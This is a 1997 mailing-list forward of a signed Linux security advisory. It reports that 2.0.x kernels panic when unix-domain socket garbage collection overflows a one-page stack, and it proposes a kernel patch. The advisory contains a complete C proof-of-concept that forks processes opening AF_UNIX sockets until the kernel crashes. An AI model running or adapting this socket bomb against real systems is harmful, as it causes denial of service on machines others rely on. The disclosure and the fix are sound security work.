Fw: Insufficient allocations in net/unix/garbage.c (fwd)

Phillip R. Jaenke (prj@NLS.NET)
Wed, 03 Dec 1997 20:54:42 -0500

-Phillip R. Jaenke [InterNIC Handle: PRJ5] (prj@nls.net)
MIS Department, PC Importers, Inc. 800.319.9284, x4262
"Why do you pay tax on Spam? It's a non-food product!"
"Well, that would explain why it's in the hardware aisle."
> ---------- Forwarded message ----------
> Date: Wed, 3 Dec 1997 15:47:35 -0500 (EST)
> From: Floody <flood@evcom.net>
> To: linux-kernel@vger.rutgers.edu
> Cc: linux-alert@redhat.com, linux-security@redhat.com
> Subject: Insufficient allocations in net/unix/garbage.c
>
> -----BEGIN PGP SIGNED MESSAGE-----
>
> Kernels 2.0.x do not sufficiently allocate space for the internal stack
> used for garbage collection on unix domain sockets. I have neither
> examined nor tested 2.1.x kernels.
>
> Because the garbage collection system defines a MAX_STACK depth of 1000
> for it's internal use, it is relatively trivial to write a user-space
> program which opens up a large number of unix domain sockets, eventually
> causing a kernel panic in the garbage collection routines (which test for
> this limit and panic if hit); on systems which have NR_FILE (or
> /proc/sys/kernel/file-max) set to a value larger than 1024 or so. The
> solution is slightly more complicated than simply increasing MAX_STACK,
> due to the fact that a single page is allocated for the stack, and given
> an i386 architecture, this can only hold 1024 entries.
>
> The following illustrates how a user-space program might exploit this
> bug, causing a kernel panic:
>
> - --CUT HERE--
> #include <stdio.h>
> #include <sys/types.h>
> #include <sys/socket.h>
>
> void bomb()
> {
> while(1) {
> while(socket(AF_UNIX, SOCK_STREAM, 0) != -1) ;
> sleep(5);
> }
> }
>
> int main()
> {
> int i;
>
> printf("forking 6 unix socket bomb processes.\n");
> fflush(stdout);
>
> for(i = 0; i < 6; i++)
> if(fork() == 0) bomb();
>
> bomb();
>
> return 0;
> }
> - --CUT HERE--
>
> I have tested this under 2.0.32 and verified the panic. I have even been
> able to cause a panic on a system which does NOT have
> /proc/sys/kernel/file-max > 1024.
>
> As a work-around, the following patch will cause the garbage collection
> routine to calculate the exact _maximum_ stack depth it must allocate
for,
> as well as using kmalloc()/kfree() instead of
get_free_page()/free_page().
>
> - --CUT HERE-
> *** net/unix/garbage.c.orig Wed Dec 3 14:55:10 1997
> - --- net/unix/garbage.c Wed Dec 3 15:04:57 1997
> ***************
> *** 5,10 ****
> - --- 5,20 ----
> * Copyright (C) Barak A. Pearlmutter.
> * Released under the GPL version 2 or later.
> *
> + * 12/3/97 -- Flood
> + * Internal stack is only allocated one page. On systems with NR_FILE
> + * > 1024, this makes it quite easy for a user-space program to open
> + * a large number of AF_UNIX domain sockets, causing the garbage
> + * collection routines to run up against the wall (and panic).
> + * Changed the MAX_STACK to be associated to the system-wide open file
> + * maximum, and use kmalloc() instead of get_free_page() [as more than
> + * one page may be necessary]. As noted below, this should ideally be
> + * done with a linked list.
> + *
> * Chopped about by Alan Cox 22/3/96 to make it fit the AF_UNIX socket
problem.
> * If it doesn't work blame me, it worked when Barak sent it.
> *
> ***************
> *** 59,68 ****
>
> /* Internal data structures and random procedures: */
>
> - - #define MAX_STACK 1000 /* Maximum depth of tree (about 1 page) */
> static unix_socket **stack; /* stack of objects to mark */
> static int in_stack = 0; /* first free entry in stack */
> !
>
> extern inline unix_socket *unix_get_socket(struct file *filp)
> {
> - --- 69,77 ----
>
> /* Internal data structures and random procedures: */
>
> static unix_socket **stack; /* stack of objects to mark */
> static int in_stack = 0; /* first free entry in stack */
> ! static int max_stack; /* Calculated in unix_gc() */
>
> extern inline unix_socket *unix_get_socket(struct file *filp)
> {
> ***************
> *** 110,116 ****
>
> extern inline void push_stack(unix_socket *x)
> {
> ! if (in_stack == MAX_STACK)
> panic("can't push onto full stack");
> stack[in_stack++] = x;
> }
> - --- 119,125 ----
>
> extern inline void push_stack(unix_socket *x)
> {
> ! if (in_stack == max_stack)
> panic("can't push onto full stack");
> stack[in_stack++] = x;
> }
> ***************
> *** 151,158 ****
> if(in_unix_gc)
> return;
> in_unix_gc=1;
> !
> ! stack=(unix_socket **)get_free_page(GFP_KERNEL);
>
> /*
> * Assume everything is now unmarked
> - --- 160,170 ----
> if(in_unix_gc)
> return;
> in_unix_gc=1;
> !
> ! max_stack = max_files;
> !
> ! stack=(unix_socket **)kmalloc(max_stack * sizeof(unix_socket **),
> ! GFP_KERNEL);
>
> /*
> * Assume everything is now unmarked
> ***************
> *** 276,280 ****
>
> in_unix_gc=0;
>
> ! free_page((long)stack);
> }
> - --- 288,292 ----
>
> in_unix_gc=0;
>
> ! kfree(stack);
> }
>
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
>
> iQCVAwUBNIXFaRsjWkWelde9AQH58wQAh+AaooTq+AcNUVyKc5hIMb04vOmFkoVW
> 3DaaqFvtlQ9Z0XBnfagWqguNB5HRzEG1MifkhofwXuhy64qAhcev/qZroYqS/Q96
> ZeGXsdf4KE3LmZ5PDSrYAIRSgQjKT9A9yw6nRQUNqr/Nis7Fz5y7oQYoo2g12Jjg
> l9N4fmbmPeY=
> =kPxr
> -----END PGP SIGNATURE-----
>